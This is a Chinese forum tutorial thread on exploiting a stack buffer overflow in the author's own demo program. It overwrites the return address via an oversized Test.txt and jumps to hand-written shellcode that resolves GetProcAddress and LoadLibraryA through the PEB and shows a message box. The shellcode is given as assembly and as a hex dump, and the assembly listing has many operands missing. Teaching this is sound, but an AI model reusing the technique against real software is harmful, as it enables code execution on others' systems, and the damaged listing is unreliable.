小俊 发表于 2017-12-30 14:26

【原创】初识栈溢出

本帖最后由 小俊 于 2018-4-23 18:07 编辑

初识栈溢出讲栈溢出之前,我们先认识一下什么是栈,下图是一个标准的栈结构
http://upload-images.jianshu.io/upload_images/6462920-26124dc5fd17d7c1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Stack给大家介绍俩寄存器ESP(栈顶,低地址)和EBP(栈底,高地址)
栈的作用是什么? 相信很多小白就要问了。
说人话,栈就是用来存局部变量,参数和返回地址的的一块内存,我个人是这么理解的。
索引栈中的数据用 [EBP+XX] (参数,或返回地址) [EBP-XX] (局部变量)为什么用EBP而不用ESP索引数据呢?
因为EBP只有开辟栈帧,或者关闭栈帧的时候才会发生改变,而ESP申请局部变量,或者push参数的时候都会发生改变,所以使用EBP来索引栈中的数据
那么栈溢出是什么原理呢,比方说,我开辟了0x100个字节的栈空间,读取文件中的内容放入栈中,但是我的文件的大小有0x200字节,栈中的其他数据就会被文件中的内容覆盖,这就是栈溢出的基本原理
大家设想一下,如果我们把返回地址给覆盖掉,并且改成一段ShellCode的地址,是不是就执行我们自己的ShellCode呢?
本章的目标就是实现这个功能我给大家发一个有栈溢出漏洞的程序,用来演示
下载地址:https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
双击程序没有反应,那就对了,因为我没有写实际的功能,只是读取Test.txt文件放入栈中
先拖到OD里面分析一下
http://upload-images.jianshu.io/upload_images/6462920-a09c0937c66eee01.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

分析分析了这么多,一句话总结:缓冲区只有0x100字节,如果Test.txt文件大小大于0x100字节,那么栈就会溢出。
我们先构造一个0x100字节大小的文件,看看内存布局
上神器,很好用的十六进制编辑工具:010 Editor
官网:http://www.sweetscape.com/
http://upload-images.jianshu.io/upload_images/6462920-f9e0fe756a1e2369.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

NewHexFile快捷键 Ctrl + Shift + i 插入数据
http://upload-images.jianshu.io/upload_images/6462920-a0189a95aaaec5f9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

InsByte保存Test.txt文件到测试程序目录下
http://upload-images.jianshu.io/upload_images/6462920-136dd6d6d8c256b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

SaveFile.png拖入OD中观察栈
http://upload-images.jianshu.io/upload_images/6462920-cbaf717592bef510.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Stack分析记录一下返回地址的地址:0x0019FF80
一句话总结:我们在原来Test.txt文件基础上再添加16(10h)个字节,就能把返回地址覆盖了
http://upload-images.jianshu.io/upload_images/6462920-c661b487902c5335.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

AddByte.png重新载入OD继续分析栈
http://upload-images.jianshu.io/upload_images/6462920-e073f78c62dab2ae.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Stack通过上面的图我们可以看到,栈已经被破坏了
EEEEEEEE 把我们的返回地址给覆盖了
我们把文件中的EEEEEEEE替换成我们自己写的ShellCode地址就能执行我们的代码了
我们通过事件查看器验证一下是否正确运行我们的测试程序
http://upload-images.jianshu.io/upload_images/6462920-5ab949db58b3a0ce.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

崩溃程序崩溃就正常了,因为我们把栈给破坏了,程序无法正常退出
Win+R → EventVwr 打开事件查看器
http://upload-images.jianshu.io/upload_images/6462920-25340179df034f71.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Run
http://upload-images.jianshu.io/upload_images/6462920-d7960f244bae749f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

log发生错误的原因是因为0xeeeeeeee是内核空间,在用户层是无法访问的,当汇编指令ret执行的时候,CPU会认为0xeeeeeeee是无效地址
http://upload-images.jianshu.io/upload_images/6462920-31b080d55c720a7b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Memory到这里,我们确实验证了返回地址确实是被0xeeeeeeee覆盖了。接下来就是写ShellCodeShellCode
何为ShellCode?
我认为,不依赖PE文件的特性,能够在任何地方都能运行的代码,就是ShellCode
我个人对ShellCode还是有一点自己的理解
下面的文章是我用纯ShellCode写的加壳器,有兴趣的可以看看
https://www.52pojie.cn/thread-676078-1-1.html
PE相关,可以产考我写的这篇帖子
https://www.52pojie.cn/thread-680447-1-1.html
Windows汇编,编译,链接,产考这篇帖子
https://www.52pojie.cn/thread-679902-1-1.html
好了,不吹牛逼了,开始正式编写ShellCode写个简单的功能,弹出一个MessageBoxA消息框
http://upload-images.jianshu.io/upload_images/6462920-8b4acbf4d1841e3e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

目标首先我们把0xEEEEEEEE返回地址改成文件在栈中的地址
打开OD观察一下地址是多少
http://upload-images.jianshu.io/upload_images/6462920-3e58c9a693739a00.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Stack把 EEEEEEEE 改成 0019FE74 (注意小端字节序)
注意:虽然测试程序没有随机基址,但是不同操作系统版本,栈起始位置可能不一样,所以你们得自己观察缓冲区首地址是多少
我的操作系统版本:win10 1709(16299)
http://upload-images.jianshu.io/upload_images/6462920-402f0470385085b3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

AddressShellCode汇编代码

.386
.model flat,stdcall
option casemap:none
assume fs:nothing

.code
main:
      push ebp
      mov ebp,esp
      sub      esp,200h   ;因为代码是在栈中的,为了防止系统函数破坏栈
      mov ebx,fs:
      mov ebx,
      mov ebx,
      mov ebx,
      mov ebx,
      mov ebx,
      mov edi,ebx               ;保存"kernel32.dll"模块基址
      mov eax,   ;取"kernel32.dll"Nt头文件偏移
      add eax,ebx               ;offset=>VA
      mov eax,   ;取导出表RVA
      add eax,ebx               ;RVA=>VA eax=导出表
      mov edx,   ;取名称表RVA
      add edx,ebx               ;RVA=>VA
      xor ecx,ecx               ;ecx清零
      MyLoop:
      mov esi,         ;取函数名RVA
      add esi,ebx                         ;RVA=>VA
      inc ecx                                 ;ecx++
      cmp byte ptr,'G'   ;如果等于ZF会被置为1
      jnz MyLoop                        ;ZF为0则跳转
      cmp byte ptr,'P' ;
      jnz MyLoop                        ;
      cmp byte ptr,'A' ;
      jnz MyLoop
      dec ecx                                 ;取真正的的下标
      mov edx,         ;取序号表RVA
      add edx,ebx                         ;RVA=>VA
      mov cx,          ;通过序号表找到地址表下标
      mov edx,         ;取地址表RVA
      add edx,ebx                         ;RVA=>VA
      mov esi,         ;取函数地址RVA
      add esi,ebx                         ;RVA=>VA
      ;到了这里 ESI="GetProcAddress"函数地址 EDI="kernel32.dll"模块基址
      ;因为MessageBoxA是在user32.dll模块中的
      ;所以需要通过GetProcAddress获取LoadLibraryA函数地址加载user32.dll模块
      ;然后再通过GetProcAddress获得MessageBoxA函数地址
      call PushStr1 ;通过CALL指令的特性,把下面的数据入栈,如果不理解,暂时可以把他看成push eip
      db "LoadLibraryA",0 ;参数2:函数名
      PushStr1:
      push edi                        ;"参数1:kernel32.dll"模块基址
      call esi                        ;"GetProcAddress
      
      call PushStr2
      db "user32.dll",0   ;需要加载的DLL名称
      PushStr2:
      call eax                        ;LoadLibraryA
      
      call PushStr3
      db "MessageBoxA",0;参数2:函数名
      PushStr3:
      push eax                        ;参数1:"user32.dll"模块基址
      call esi                        ;GetProcAddress
      
      push 0                        ;参数4
      call PushStr4
      db "Title",0                ;参数3
      PushStr4:
      call PushStr5
      db "ShellCode",0      ;参数2
      PushStr5:
      push 0                        ;参数1
      call eax                        ;MessageBoxA
      mov esp,ebp
      pop ebp
end main

编译
http://upload-images.jianshu.io/upload_images/6462920-c0978bd2807414b5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

ml生成了一个可执行文件
http://upload-images.jianshu.io/upload_images/6462920-7e5a1ed21edb2c8e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

ShellCode.exe但是我们要的不是这个文件,而是里面的代码,所以,我们直接把他的代码段扣出来
用010 Editor找到代码段(.text),把代码段中的OpCode复制到我们的Test.txt文件中就行了
ShellCode
55 8B EC 81 EC 00 02 00 00 64 8B 1D 30 00 00 00
8B 5B 0C 8B 5B 0C 8B 1B 8B 1B 8B 5B 18 8B FB 8B
43 3C 03 C3 8B 40 78 03 C3 8B 50 20 03 D3 33 C9
8B 34 8A 03 F3 41 80 3E 47 75 F5 80 7E 03 50 75
EF 80 7E 07 41 75 E9 49 8B 50 24 03 D3 66 8B 0C
4A 8B 50 1C 03 D3 8B 34 8A 03 F3 E8 0D 00 00 00
4C 6F 61 64 4C 69 62 72 61 72 79 41 00 57 FF D6
E8 0B 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00
FF D0 E8 0C 00 00 00 4D 65 73 73 61 67 65 42 6F
78 41 00 50 FF D6 6A 00 E8 06 00 00 00 54 69 74
6C 65 00 E8 0A 00 00 00 53 68 65 6C 6C 43 6F 64
65 00 6A 00 FF D0 8B E5 5D
http://upload-images.jianshu.io/upload_images/6462920-0aa6f62860f9dcf8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

OpCode
http://upload-images.jianshu.io/upload_images/6462920-dd5b34017b100caa.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

copy运行一下测试程序
成功!

http://upload-images.jianshu.io/upload_images/6462920-b5aed53fcadd2123.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

ShellCode执行成功程序依然崩溃了,因为我们把栈给破坏了,程序没法正常退出
但是我们的ShellCode已经执行了,所以奔溃不奔溃不重要,我们的目的已经达到了
http://upload-images.jianshu.io/upload_images/6462920-e916de3d6c59a820.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

Stack overflow最终的成品
https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
如果在你电脑上运行不了,可能就是你的系统栈起始位置和我不一样,你得自己看缓冲区首地址,然后自己覆盖返回地址
这是一个系列的帖子,我后面的帖子会讲解如何通过jmp esp解决这个问题
还有如何处理DEP(数据执行保护)和ASLR(地址空间布局随机化)

小俊 发表于 2017-12-30 15:04

本帖最后由 小俊 于 2017-12-30 15:07 编辑

如今浮躁的安全圈,什么是真正的技术?什么是投机取巧? 现在想学到真正的技术,对小白来说,太难了。
送想成为大牛的小白一句话
千里之行始于足下
15pb

sosoby 发表于 2018-2-25 12:41

本帖最后由 sosoby 于 2018-2-25 12:54 编辑

请教一下楼主:我这有一个软件现在有如下问题(软件现在不在身边,我描述一下):软件在我的W7系统上运行的时候 显示一切正常,当我把软件放入电脑虚拟机上,在软件关闭的时候就会出现帖子里所说的程序无法正常退出的情况。执行程序功能都是正常的,就在退出的时候报错。我开始怀疑是栈溢出,可是如果是栈溢出的话,是不是在所有操作系统上都会报错呢?

2018.2.25 12:52 刚刚找到了虚拟机,事件描述如下:

弹出应用程序:XXXX.exe - 应用程序错误: 应用程序发生异常 unknown software exception (0xc000008f),位置为 0x7c812afb。
要终止程序,请单击“确定”。
要调试程序,请单击“取消”。
有关更多信息,请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

看起来不是帖子里的问题。这个能请教下可能是哪里出了问题么?谢谢。

古月同学丶 发表于 2017-12-30 14:42

coco 发表于 2017-12-30 15:39

技术贴,想问下大佬,上面的代码是汇编吗?

小俊 发表于 2017-12-30 15:40

coco 发表于 2017-12-30 15:39
技术贴,想问下大佬,上面的代码是汇编吗?

是的
Windows汇编,编译,链接,产考这篇帖子
https://www.52pojie.cn/thread-679902-1-1.html

nnitert 发表于 2017-12-30 15:44

不错,千里之行始于足下。同时也感谢像楼主一样无私分享的人。

xx1990 发表于 2017-12-30 16:11

这是做绿化软件的小俊???

小俊 发表于 2017-12-30 16:19

xx1990 发表于 2017-12-30 16:11
这是做绿化软件的小俊???

不是,但是我也很纳闷,前段时间一直有人 艾特我
说什么"本软件由@小俊 绿化" 当时我就想,关我吊事
{:301_1007:}

KaQqi 发表于 2017-12-30 16:56

最近学习qt,补充一下qt栈溢出的几种可能。
1.定义过大的数组
Object* array
这种情况建议use malloc or new.
2.调用层次过深(注意,即使不是无线调用也会栈溢出)
function a()
{
b();
}

function b()
{
a();
}

一般错误提示
stack overflow
嗯,还是很直接‘

调试方法:从汇编中找到上层函数,再下断点跟,看是从哪崩溃的

都同学 发表于 2017-12-30 17:00

涨姿势了,楼主辛苦
页: [1] 2 3 4
查看完整版本: 【原创】初识栈溢出